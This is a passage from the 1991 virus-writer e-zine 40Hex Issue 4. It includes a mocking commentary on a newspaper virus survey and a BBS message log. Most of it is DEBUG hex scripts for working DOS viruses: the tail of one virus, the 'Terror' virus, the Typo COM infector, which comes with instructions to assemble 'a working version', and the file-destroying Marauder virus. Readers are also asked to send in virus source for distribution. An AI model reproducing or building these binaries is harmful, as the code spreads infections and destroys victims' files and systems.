e 0770  00 00 00 00 00 00 00 00 8C 0D 01 00 20 1C C3 28
e 0780  8C 0D 01 00 FE 26 2E 00 8C 0D 04 7F A7 20 6C 15
e 0790  24 25 05 00 20 00 C6 08 60 C1 57 18 08 25 AB 00
e 07A0  44 7F 0A 02 C2 06 57 18 BD 1D 47 01 04 7F 7C 00
e 07B0  C2 06 B6 00 1C 09 AF 1D 3D 1C 07 02 BD 1D 02 02
e 07C0  4D 3A CD 20 C8 F7 E1 EE E7 1A 1A 1A 1A 1A 1A 1A

rcx
7CF
w
q

------------------------------------------------------------------------------

40Hex Issue 4                                            December 1991

                                 Terror
                                 ------

   Duh, just as I was about to relase this issue I found that I forgot
   to make a artical 4.  So here it is.

-------------------------------------------------------------------------------
n terror.com
e 0100  50 8C C8 01 06 0B 01 58 EA 00 01 40 00 90 90 90
e 0110  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0120  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0130  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0140  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0150  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0160  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0170  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0180  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0190  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 01A0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 01B0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 01C0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 01D0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 01E0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 01F0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0200  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0210  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0220  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0230  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0240  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0250  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0260  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0270  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0280  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0290  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 02A0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 02B0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 02C0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 02D0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 02E0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 02F0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0300  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0310  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0320  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0330  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0340  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0350  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0360  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0370  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0380  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0390  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 03A0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 03B0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 03C0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 03D0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 03E0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 03F0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0400  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0410  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0420  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0430  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0440  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0450  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0460  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0470  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0480  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0490  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 04A0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 04B0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 04C0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 04D0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 04E0  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 04F0  90 90 90 90 90 90 90 90 90 90 90 B8 00 4C CD 21
e 0500  EB 44 E4 12 AB 09 8D 13 D0 17 60 14 7A 0F E9 F8
e 0510  03 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
e 0520  90 90 90 90 90 90 44 3A 5C 43 4F 4D 4D 41 4E 44
e 0530  2E 43 4F 4D 00 2E 81 3E 0E 01 5A 4D 74 07 2E 81
e 0540  3E 0E 01 4D 5A C3 2E 8C 1E 41 05 50 B8 59 EC CD
e 0550  21 3B E8 75 3E 0E 1F 58 2E 8E 06 41 05 E8 D5 FF
e 0560  74 10 B9 0D 00 BE 0E 01 06 BF 00 01 57 F3 A4 06
e 0570  1F CB 8C C6 83 C6 10 2E 01 36 24 01 2E 03 36 1C
e 0580  01 2E 8B 3E 1E 01 06 1F FA 8E D6 8B E7 FB 2E FF
e 0590  2E 22 01 B4 30 CD 21 BB 02 01 3D 03 0A 75 12 B8
e 05A0  70 00 BB 43 0D 8E C0 26 80 3F 2E 75 2A 8B C3 EB
e 05B0  2A 83 C3 04 3D 03 14 74 1E 83 C3 04 3D 03 1E 74
e 05C0  16 B8 13 35 CD 21 2E 89 1E 27 05 2E 8C 06 29 05
e 05D0  B8 21 35 8B D3 EB 16 2E 8B 47 02 2E 8B 17 2E A3
e 05E0  27 05 2E C7 06 29 05 70 00 B4 34 CD 21 06 1F B8
e 05F0  EC 25 CD 21 2E A1 41 05 8E C0 48 8E D8 8B 1E 03
e 0600  00 83 EB 65 03 C3 26 A3 02 00 B4 4A CD EC BB 64
e 0610  00 B4 48 CD EC 2D 10 00 8E C0 C6 06 00 00 5A 0E
e 0620  1F BE 00 01 8B FE B9 43 04 90 F3 A4 BF 32 02 06
e 0630  57 CB 26 C7 06 F1 00 70 00 B8 21 35 CD EC 2E 89
e 0640  1E 87 02 2E 8C 06 89 02 B4 25 BA 63 02 0E 1F CD
e 0650  EC 0E 07 BF 43 05 B9 19 00 B0 00 F3 AA E9 F7 FE
e 0660  8B E8 CF 3D 59 EC 74 F8 3D 00 4B 74 1E 80 FC 3D
e 0670  74 21 80 FC 3E 74 44 80 FC 11 75 0A 57 8B FA 80
e 0680  7D 06 08 74 77 5F EA 5C 06 1E 29 E8 91 00 EB F6
e 0690  59 EB F3 51 E8 27 02 72 F7 83 F9 20 59 75 E7 B0
e 06A0  02 9C 2E FF 1E 87 02 72 0F 50 53 8B D8 2E A0 5C
e 06B0  05 2E 88 87 43 05 5B 58 CA 02 00 2E 80 BF 43 05
e 06C0  00 74 C3 50 2E 8A 87 43 05 2E A2 5C 05 2E C6 87
e 06D0  43 05 00 B4 45 CD EC 2E A3 41 05 58 72 A8 9C 2E
e 06E0  FF 1E 87 02 72 D2 53 2E 8B 1E 41 05 1E E8 5F 00
e 06F0  E8 92 00 E8 A6 01 1F 5B F8 CA 02 00 50 52 1E 8A
e 0700  45 07 BA 26 01 0A C0 74 08 04 40 2E A2 26 01 EB
e 0710  03 83 C2 02 0E 1F E8 06 00 1F 5A 58 E9 66 FF 50
e 0720  53 51 E8 99 01 72 24 51 1E E8 23 00 1F B8 01 43
e 0730  33 C9 CD EC 72 07 B8 02 3D CD EC 8B D8 59 72 08
e 0740  E8 42 00 B8 01 43 CD EC E8 51 01 59 5B 58 C3 50
e 0750  52 53 06 B8 13 35 CD EC 2E 89 1E 22 05 2E 8C 06
e 0760  24 05 B0 24 CD EC 2E 89 1E 3D 05 2E 8C 06 3F 05
e 0770  07 5B 0E 1F BA 19 05 B4 25 CD EC BA 1C 05 B0 13
e 0780  CD EC 5A 58 C3 50 51 52 56 57 1E BF 0E 01 B9 FF
e 0790  FF BA FA FF B8 02 42 CD EC B4 3F B9 06 00 0E 1F
e 07A0  8B D7 CD EC 72 1B 2E 81 3D 54 65 74 14 33 C9 33
e 07B0  D2 B8 00 42 CD EC B4 3F B9 18 00 8B D7 CD EC 73
e 07C0  03 E9 C4 00 33 C9 33 D2 2E 80 3E 5C 05 02 75 0B
e 07D0  81 7D 01 00 40 77 EA 49 BA 83 FB B8 02 42 CD EC
e 07E0  A9 0F 00 74 0F 8B CA 8B D0 83 C2 10 80 E2 F0 B8
e 07F0  00 42 EB EA E8 3E FD 74 11 0B D2 75 C4 3D 00 04
e 0800  73 03 E9 83 00 3D 00 FA 77 7E B1 04 D3 E8 8B F0
e 0810  B1 0C D3 E2 03 F2 B4 40 BA 00 01 B9 3D 04 90 CD
e 0820  EC 72 65 E8 0F FD 75 3C 83 EE 10 2E 2B 75 08 2E
e 0830  C7 45 14 00 01 2E 89 75 16 2E C7 45 10 00 04 83
e 0840  C6 44 90 2E 89 75 0E B8 02 42 33 C9 33 D2 CD EC
e 0850  B9 00 02 F7 F1 0B D2 74 01 40 2E 89 55 02 2E 89
e 0860  45 04 EB 12 56 57 06 0E 07 BE 2B 05 B9 0B 00 F3
e 0870  A4 07 5F 8F 45 0B B8 00 42 33 C9 33 D2 CD EC B4
e 0880  40 B9 18 00 8B D7 CD EC B8 00 57 CD EC B0 01 CD
e 0890  EC B4 3E CD EC 1F 5F 5E 5A 59 58 C3 50 52 1E B8
e 08A0  13 25 2E 8B 16 22 05 2E 8E 1E 24 05 CD EC B0 24
e 08B0  2E 8B 16 3D 05 2E 8E 1E 3F 05 1F 5A 58 C3 50 06
e 08C0  57 53 8B FA 1E 07 B0 00 B9 40 00 F2 AE 8B 45 FD
e 08D0  8B 4D FB 25 5F 5F 80 E5 5F 3D 4F 4D 75 09 81 F9
e 08E0  2E 43 74 0E F9 EB 2D 3D 58 45 75 F8 81 F9 2E 45
e 08F0  75 F2 B9 07 00 BB FF FF 43 8A 41 F4 24 5F 2E 3A
e 0900  87 29 01 E1 F3 B0 01 75 02 B0 02 2E A2 5C 05 B8
e 0910  00 43 CD EC 5B 5F 07 58 C3 B0 03 CF 80 FC 03 74
e 0920  05 EA C8 0E 1E 29 EA 7A 0F 70 00 50 8C C8 01 06
e 0930  0B 01 58 EA 00 01 20 54 65 72 72 6F 72 1A 1A 1A
rcx
083d
w
q
-------------------------------------------------------------------------------
40Hex Issue 4                                            December 1991

"No feelings of what I left behind, no guilt for the victims of my
 crime.  No compassion, just a burning deep inside.  No pain... I'm here
 just to die... " - Sub Zero


This artical is from the 11/26/91 morning final of the San Jose Mercury News

**text written like this is my comments**

                 SURVEY DEFLATES COMPUTER-VIRUS DANGERS

But safeguards are few as cases proliferate.

  Computer viruses, those nasty bits of distructive programming unleashed
by deviant hackers, are multiplying at a startling rate - but haven't
proved nearly as troublesome as once feared and aren't scaring users
enough to take even simple safeguards.
   Dataquest Inc. a marker research firm in San Jose released a
groundbreaking 150-page survey Monday showing that almost two-thirds of
business and government orginazatons with more than 300 personal
computers has encountered a viurs at least once this year.  Yet only 15
percent of them has installed anti-virus software.
   What's more, Dataquest found the virus encounters more than doubled
in each of the first three quarters of 1991. **<smile, smile>**
   The National Computer Security Association of Washington D.C., which
represents 1,000 developers of anti-virus software, hired Dataquest to
conduct what is apparently the first study of virus proliferation by a
reseacher not directly employed by an anti-virus software company.
   Computer viruses hide themselves in legitamate files, jumping from
machine to machine.  Triggered either at random or on a set date, such
as Friday the 13th, the most destructive viruses gobble up programs and
data in their host computers. **gobble???**
   Robert Morris, then a student at Cornell University, unleashed a
the biggest virus to date in November 1988 **please** when a program he
intended to queitly slip onto a network call Internet went out of
control and temporally shut down 6,000 computers at universitys and
government reaserch labrotorys nationwide.  In the wake of the Internet
case, there were dire predictions of future virus attacks the could
bring the entire economy grinding to a halt.
    But there haven't been any major virus outbreaks since then and, it
turnded out, the Internet virus **Internet worm, damn it!!!** did little
permanent damage.
    What's more, most viruses are relitavely mild - more like a case of
sniffles the double pnemonia.  Typically, these mild viruses take up
space in the computers memory and slow down operations, but don't
destroy data. ** :) :( **
    "Many viruses are very innocuous," said Shella Cotter, director of
software consulting for Dataquest. "You find them, you identify them and
you get rid of them."
    "Many of the viruses I've heard about have not been big problems,"
added Jay BloomBecker ** tell me he aint gay **, director of the
National Center for Computer Crime Data in Santa Cruz.  "But it's
significant enough that if you're not paying attention to it, you
security is probably inadeqaute."
    Anti-virus software sold over the counter automatcally plucks out
the most of the roughly, 1,000 viruses identifey thoughout the world.
Occasoinally however, killer viruses can take over an entire computer
system and threaten a buisness with massive losses of crucial
information.
    Dataquest talked to 600 orginazations during October and dicovered
that 63 percent had encountered at least one virussince the beginning of
the year.  Of these reporting and encounter, 62 percent claimed "a
definite loss of productivity," although the $70,000 study did not
tabulate the total cost.
    In the survey group, 9 percent reported a "virus disaster," defined
as a single incedent affecting 25 or more personal computers or
diskettes.  On average, computers involved in a virus disaster were out
of commision four days and required reprogramming at a cost of $6,200.
    And, in 3 percent of virus attacks, either the person who introduced
the virus or the person responible for computer security was threatened
with dismmisal.  Dataquest didn't count how many were actually fired.
    "Computer viruses are much more prevalent than people think and,
unless we think, and unless we take precautions, over time they are
going to get worse," said Andrew Seybold, head of the Dataquest servey
team.
    But anti-virus software and strict enforcement of computer scurity
policies could change in the future.
    "The good news is, it's solveable.  The bad news is companies aren't
chossing to solve it,", Cotter concluded.  ** The other way around for
us **


40Hex Issue 4                                            December 1991

                         The Typo COM Virus

        The Typo Virus comes in 2 forms - a boot sector infector, and a
COM file infector.  This version is the COM version.  The effective
length of the virus is 867 bytes, and it only infects COM files.  Typo
stays resident, and can infect files whether they are run or not, from my
experience.  Typo isn't a destructive virus, but it does garble any
output to the parallel ports, by exchanging certain letters with others
that sound similar, and by transposing numbers.  Sometimes it replaces
one number with an entirely different number.  Typo is believed to have
originated in Israel, because some Hebrew letters are changed when it is
active, and it was isolated in that country.  Typo is easily detected by
SCAN, and the scan string is "A1 58 00 2E 89 84 99 FE 26 A1 5A 00" in lines
400 and 410 of the hex dump, below.

To assemble TYPO.COM, cut out the following hex, and name the resulting
file TYPO.  Then, issue the command DEBUG < TYPO and you will have a
working version of the virus.

                                        --DecimatoR

----------------------------Cut Here------------------------------
n typo.com
e 0100  E9 18 00 31 E9 FF FF 2A 2E 43 4F 4D 00 CD 20 20
e 0110  56 31 05 00 CE CD 20 00 59 00 00 53 51 52 1E 06
e 0120  56 0E 1F E8 00 00 5E 83 EE 24 FF 4C 16 83 7C 16
e 0130  03 75 05 C7 44 16 5B 00 E8 85 02 BA D0 00 B4 1A
e 0140  CD 21 8A 44 0B 88 44 12 8B 44 0C 89 44 13 B4 2A
e 0150  CD 21 F6 C2 01 75 1F 8B D6 81 C2 05 00 33 C9 B4
e 0160  4E CD 21 72 11 E8 2C 00 8B D6 81 C2 05 00 33 C9
e 0170  B4 4F CD 21 73 EF 8A 44 12 A2 00 01 8B 44 13 A3
e 0180  01 01 BA 80 00 B4 1A CD 21 5E 07 1F 5A 59 5B B8
e 0190  00 01 FF E0 B8 01 43 BA EE 00 33 C9 CD 21 B8 02
e 01A0  3D BA EE 00 CD 21 73 03 E9 B4 00 89 44 10 8B D8
e 01B0  B4 3F B9 03 00 8B D6 81 C2 0B 00 CD 21 80 7C 0B
e 01C0  E9 75 30 8B 54 0C 83 EA 16 33 C9 B8 00 42 8B 5C
e 01D0  10 CD 21 8B D8 B4 3F B9 02 00 8B D6 81 C2 0E 00
e 01E0  8B 5C 10 CD 21 72 65 3D 00 00 74 07 8B 44 0E 3B
e 01F0  04 74 59 33 C9 33 D2 B8 02 42 8B 5C 10 CD 21 72
e 0200  4B 2D 03 00 89 44 03 8B 5C 10 B4 40 B9 63 03 90
e 0210  8B D6 81 C2 00 00 CD 21 72 32 83 44 03 19 33 D2
e 0220  33 C9 B8 00 42 8B 5C 10 CD 21 72 20 8B 5C 10 B4
e 0230  40 B9 03 00 8B D6 81 C2 02 00 CD 21 B8 01 57 8B
e 0240  5C 10 8B 0E E6 00 8B 16 E8 00 CD 21 8B 5C 10 B4
e 0250  3E CD 21 B8 01 43 BA EE 00 8A 0E E5 00 CD 21 C3
e 0260  FB 80 FC DD 75 03 8A C4 CF 80 FC 00 74 6C EA 2E
e 0270  E8 00 F0 C7 84 C7 84 59 00 60 31 32 33 34 35 36
e 0280  37 38 39 30 2D 3D 5C 7E 21 40 23 24 25 5E 26 2A
e 0290  28 29 5F 2B 7C 71 77 65 72 74 79 75 69 6F 70 5B
e 02A0  5D 5B 61 73 64 66 67 68 6A 6B 6C 3B 27 7A 78 63
e 02B0  76 62 6E 6D 2C 2E 2F 51 57 45 52 54 59 55 49 4F
e 02C0  50 7B 7D 41 53 44 46 47 48 4A 4B 4C 3A 22 3B 5A
e 02D0  58 43 56 42 4E 4D 3C 3E 3F 2E 56 E8 00 00 5E 9C
e 02E0  2E FF 5C 91 53 06 BB 40 00 8E C3 26 8B 1E 6C 00
e 02F0  53 2E 2B 5C 95 83 FB 02 5B 2E 89 5C 95 7F 39 2E
e 0300  87 5C 97 2E 2B 5C 97 F7 DB 2E 3B 5C 99 7C 29 2E
e 0310  FF 4C 99 2E 83 7C 99 06 74 06 2E C7 44 99 5B 00
e 0320  83 EE 65 51 B9 61 00 2E 3A 04 74 07 46 E2 F8 59
e 0330  EB 06 90 59 2E 8A 44 01 07 5B 5E CA 02 00 80 FC
e 0340  00 74 05 80 FC 4C 75 19 E8 24 00 2E 8B 16 2C 00
e 0350  8E C2 BB 00 00 B4 4A CD 21 BA 1D 00 83 C2 01 B4
e 0360  31 EA 60 14 73 02 B8 00 4C EB D3 3F 14 73 02 51
e 0370  57 56 06 E8 00 00 5E 56 BF 00 01 B9 DE 00 2E 8A
e 0380  84 EA FE 2E 88 05 46 47 E2 F4 5E 33 C9 8E C1 2E
e 0390  8B 4C EC 26 89 0E 84 00 2E 8B 4C EE 26 89 0E 86
e 03A0  00 2E 8B 4C F5 26 89 0E 80 00 2E 8B 4C F7 26 89
e 03B0  0E 82 00 B9 00 01 26 89 0E 58 00 07 5E 5F 59 C3
e 03C0  50 32 C0 B4 DD CD 16 3A C4 75 02 58 C3 53 56 06
e 03D0  8B 54 16 E8 00 00 5E 53 06 BB 40 00 8E C3 26 8B
e 03E0  1E 6C 00 2E 89 9C 9D FE 2E 89 9C 9F FE 07 5B 89
e 03F0  94 A1 FE 33 C0 8E C0 26 A1 84 00 2E 89 44 8C 26
e 0400  A1 86 00 2E 89 44 8E 26 A1 58 00 2E 89 84 99 FE
e 0410  26 A1 5A 00 2E 89 84 9B FE 26 A1 80 00 2E 89 44
e 0420  95 26 A1 82 00 2E 89 44 97 FA 0E 26 8F 06 86 00
e 0430  26 89 36 84 00 26 81 2E 84 00 98 00 0E 26 8F 06
e 0440  82 00 26 89 36 80 00 26 83 2E 80 00 70 0E 26 8F
e 0450  06 5A 00 26 89 36 58 00 26 81 2E 58 00 76 01 FB
e 0460  07 5E 5B 58 C3 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
rcx
464
w
q
--------------------------Cut Here Too-----------------------------

Notice to all: 40Hex is always looking for new viruses to do write ups
on, and new source code to distribute.  If you have a copy of a rare
virus, and/or viral source code, please send it to Digital Warfare BBS,
at 717-367-3501.  We'll be happy to give you the credit for donating it -
IF you want us to.  ;)
                                   ---Dec

40Hex Issue 4                                            December 1991


                       How Lame Are These People?
                       -------------------------

This text is from the Homebase BBS, Mcaffee's board, all I can say is
read it.  Special apperance from Data Distruptor of Rabid and
Lestat/Skism, AKA me... Read on...


Msg#: 5712 *viru*
11-19-91 17:11:34
From: TERRY ROSS
  To: ALL
Subj: IS THIS A VIRUS?
Hi.  Is there a known virus which displays a screen which reads "INC, for
quality cracks?"  I have recently inherited a computer at the company I work at
and there was apparently some tetris and blockout games on the disk which are
the source of this message.  I found a file called "runme.bat" with the text in
it, but even after I deleted it, it still pops up the aforementioned message.
Also, the message gives me a choice of EGA CGA or monochrome and in general,
the message makes life difficult for me.
        any help with this would be vastly appreciated.

<*>Replies
<A>gain, <R>eply, <N>ext, or <S>top?


Msg has replies, read now(Y/N)? y


Msg#: 5715 *viru*
11-19-91 17:50:59
From: ARYEH GORETSKY
  To: TERRY ROSS
Subj: REPLY TO MSG# 5712 (IS THIS A VIRUS?)
If you can upload a copy of an infected file, we can see if it contains viral
code.

Aryeh Goretsky
 Tech Support

<->, <A>gain, <R>eply, <N>ext, or <S>top? N

-- The below text was deleted by Aryeh, I don't think he likes me --

Msg#: 5718 *viru*
11-19-91 19:42:34
From: LESTAT /SKISM
  To: TERRY ROSS
Subj: REPLY TO MSG# 5712 (IS THIS A VIRUS?)
It's not a virus.  INC is the International Network of Crackers.  What they do
is unprotect games and distribute them.  What you do have is most likely
illegally obtained software.

<->, <D>elete, <A>gain, <R>eply, <N>ext, or <S>top?


End of Replies, add yours(Y/N)? N


Msg#: 5717 *viru*
11-19-91 18:01:25
From: DATA DISRUPTOR
  To: ARYEH GORETSKY
Subj: REPLY TO MSG# 5597 (RABID)
 Haha! Funny guy. I believe you are referring to the Roland D-10 and S-10
series of keyboards... R-10 being a keyboard... bah!

Data Disruptor RABID Int'nl Development Corp.

<*>Replies
<->, <A>gain, <R>eply, <N>ext, or <S>top?


Msg has replies, read now(Y/N)? y


-- Again I was deleted, come on Aryeh old buddy --

Msg#: 5719 *viru*
11-19-91 19:45:03
From: LESTAT /SKISM
  To: DATA DISRUPTOR
Subj: REPLY TO MSG# 5717 (RABID)
Thats coming from a guy who thinks INC are virus writers.  Jessh.

<->, <D>elete, <A>gain, <R>eply, <N>ext, or <S>top?


End of Replies, add yours(Y/N)? N

40Hex Issue 4                                            December 1991

"I take my boys everywhere I go, cause I'm paranoid..."

                           The Marauder Virus
                           ------------------


    December marks the first year of the group Skism.  The alliance of
    Phalcon/Skism took place around July 1991.  Me and a few freinds at
    school started the group by hacking old viruses into new strains.
    Well I have lost contact with these people since then and a new
    breed of members has risen from the ashes.

    Well, I myself have learned a lot over the year.  I went from virus
    hacker with about three viruses to my name, to overwritting man,
    to what I am now.  An advanced (kind of) level assembler programmer,
    writing parasitic infectors.  Well come this time next year I belive
    I'll be into more major stuff, ya know sick mother fucking DIR-2
    type action.  I've written a couple of TSR viruses shells, nothing
    completed yet.  Well anyway here's my personal latest creation -
    Marauder.  What Marauder is, is this ----

Marauder Virus
By Hellraiser
of Phalcon/Skism

Aliases: Deadpool-B, 808-B, 860.

Marauder is a non-overwriting, non-resident, encrypting, semi-mutating,
.COM file infector.

When a file is infected with the Marauder Virus the virus will search
the current path for a .COM file and infect it, adding 860 bytes to the
files size.  If not .COM files reside in the current directory, the
virus will go up one directory and check for .COM files to infect untill
it reaches the root.  At the root directory the virus will scan for
other directorys to find .COM files, until one uninfected .COM file is
found.  If no .COM files are found on the disk the virus will terminate
it search and return to the currently running program.

If an infected file is run on Feburary second of any year, the virus
will destroys all files in the current directory, by overwritting them
with message code.  The files will not run when executed, just terminate
upon reading the first line.  There is no way to recover the files once
the virus destroys them.  After this control will be given back to the
host program.

The Maruder virus is able to infect any .COM file no matter what
attribute... Hidden, System, Read-Only, etc... The files date, time, and
attribute will not be changed after a file becomes infected.

The virus will not cause a system error if run on a write-protected
floppy or fixed-disk, merely terminate any attempt of infection.

The virus will not infect files under 16 bytes or over 64,675 bytes.

For the most part the virus is randomly encrypted with each passing
infection, the small part of the program code which is not encrypted
mutates between two different, but comaptable strain of bytes.

There is not way of detecting the virus infections other than the
addition of 860 bytes to infected files, in other words, system-run time
is not affected at all.  If any run-time is affected it is the split
second it takes for the virus to infect a file.

The virus causes no damage to disk sectors or boot records etc... The
only perminate damage is the destuction of all files in the current
directory on 02/02/XX.

And here it is...

-------------------------------------------------------------------------------
n target.com
e 0100  E9 61 00 88 68 69 73 20 66 69 6C 65 20 69 73 20
e 0110  69 6E 66 65 63 74 65 64 20 77 69 74 68 20 74 68
e 0120  65 20 4D 61 72 61 75 64 65 72 20 76 69 72 75 73
e 0130  2E 20 31 39 39 32 2C 20 48 65 6C 6C 72 61 69 73
e 0140  65 72 20 50 68 61 6C 63 6F 6E 2F 53 6B 69 73 6D
e 0150  2E 0D 0A 24 20 20 20 20 20 20 20 B4 09 BA 03 01
e 0160  CD 21 CD 20 E8 00 00 5E 81 EE 0E 01 E8 05 00 E9
e 0170  85 00 3A 28 8B EE 81 C6 65 04 8B FE 50 53 51 52
e 0180  B9 8F 01 FD AD 33 86 19 01 AB E2 F8 5A 59 5B 58
e 0190  8B F5 C3 E8 DE FF CD 21 E8 D9 FF C3 7A 6B 7B 6A
e 01A0  91 B5 13 99 FC 93 D4 51 13 99 EC EE 99 E7 4A 49
e 01B0  4B 48 99 FC 93 D4 77 16 99 EC 42 41 43 40 AB 9D
e 01C0  13 EF 48 4B 49 4A 99 E7 DF 32 32 49 5F 73 60 73
e 01D0  67 76 77 60 4F 32 23 2B 2B 20 32 5A 77 7E 7E 60
e 01E0  73 7B 61 77 60 32 3F 32 42 7A 73 7E 71 7D 7C 3D
e 01F0  41 79 7B 61 7F 3C 1A 2E 82 0C 0F E5 1B A1 A6 76
e 0200  3E A4 BE 48 3E 2F 82 0C 1F A5 AE 4A 3E E5 1B 7E
e 0210  8E 6F 08 FA BB EE EC 2C F7 09 64 9C 23 E5 1B 2C
e 0220  7B A0 BE FB 3E 90 00 74 B3 AC EE 2C 6C 75 B7 9E
e 0230  75 2C B7 96 69 2C 83 2C 3A D4 C9 8C 6F 76 8E 32
e 0240  B7 BC 55 2C F7 09 8E 02 F7 09 BB D2 38 2A 4F 2B
e 0250  D3 96 3B 9C 74 A5 AE 10 3E 91 3D 28 F7 09 49 6C
e 0260  8E 32 B7 BC 22 2D F7 09 8E 13 B7 BC 78 2C F7 09
e 0270  48 2A D1 E2 BA 94 67 2C 3B 5C 23 98 3B A0 BE 75
e 0280  3E 9C 74 1B F3 99 29 A5 AE 16 3E E5 1B 5B 33 C1
e 0290  69 29 AA B8 8E 67 D1 DB 8E 13 B7 BC 0C 2D F7 09
e 02A0  48 DA D1 B2 B1 B4 BE 2C B3 B4 71 2C 82 29 79 1B
e 02B0  F3 A5 AE A5 3E E5 1B 5A 05 C0 A0 29 48 12 B3 AC
e 02C0  76 2C B1 B4 BD 2C B3 B4 7D 2C B1 B4 BF 2C B3 B4
e 02D0  73 2C A9 9C 05 91 3E 28 B7 BC 75 2C F7 09 BA 94
e 02E0  68 2C B2 5D 1F 90 3B 6B B1 A4 71 2C B7 BC B7 2C
e 02F0  08 C5 F7 09 8E 16 F7 09 07 2D 3A 5C 30 15 38 28
e 0300  4E 2D 8E 67 D3 7D C5 C1 E1 28 BB 94 75 2C 77 72
e 0310  4E FB D2 1F 3B 15 2A 28 48 E3 07 B7 C6 5B FC 05
e 0320  39 28 B2 8C 63 2C B2 AC 62 2C FC AC 60 2C B2 B8
e 0330  8E C1 B2 8C 6D 2C 08 E8 B2 AC 67 2C C5 AC 7F 2C
e 0340  B1 C6 D2 CF 3A 9C 16 E5 1B AB C0 28 4E DF B3 BC
e 0350  23 29 8B 20 E9 E2 B3 BC 61 2C BA D2 24 56 39 C3
e 0360  1A B8 B7 9E 79 29 B7 96 21 29 83 38 3A C0 82 28
e 0370  B7 9E 69 29 B7 96 09 29 83 2E 3A C0 90 28 D1 35
e 0380  AA A5 8C 71 3B A5 84 33 3B 91 2A 28 D2 B1 3A A5
e 0390  8C 41 3B A5 84 1B 3B 91 3C 28 D2 A3 3A C0 B6 28
e 03A0  B1 DD 8E 68 83 7F 39 AB FB 2D B7 BC 31 29 D2 CA
e 03B0  C7 5A 34 C0 B6 28 8E 68 83 2C 3A A5 AE 7F 3E E5
e 03C0  1B 90 3B 7F B1 A4 73 2C B1 BC 7D 2C B1 B4 76 2C
e 03D0  F7 09 8E 16 F7 09 82 29 79 A3 B6 63 3E A5 AE A5
e 03E0  3E 1A D7 E5 1B 9C 01 A5 AE FB 3E E5 1B 9C 20 92
e 03F0  BA 28 F7 09 6C 75 82 0C 1F A5 AE 76 3E E5 1B A5
e 0400  8C 7B 3E 97 3A 29 83 2C 3A D4 C9 8C 85 28 3B D7
e 0410  DD C0 22 28 8E 66 83 2F 3A A5 AE 16 3E E5 1B 5A
e 0420  F6 C0 06 28 8E 67 D1 DD C6 DB 9E EB B1 DD BB EE
e 0430  79 29 B1 D6 83 05 3A 85 09 AE 61 2C 91 CA C2 A3
e 0440  CF EB 82 28 78 1B F3 1B E8 E5 1B EB 82 2A 78 1B
e 0450  E8 1B F3 E5 1B EB 82 2A 07 A5 AE A5 3E E5 1B EB
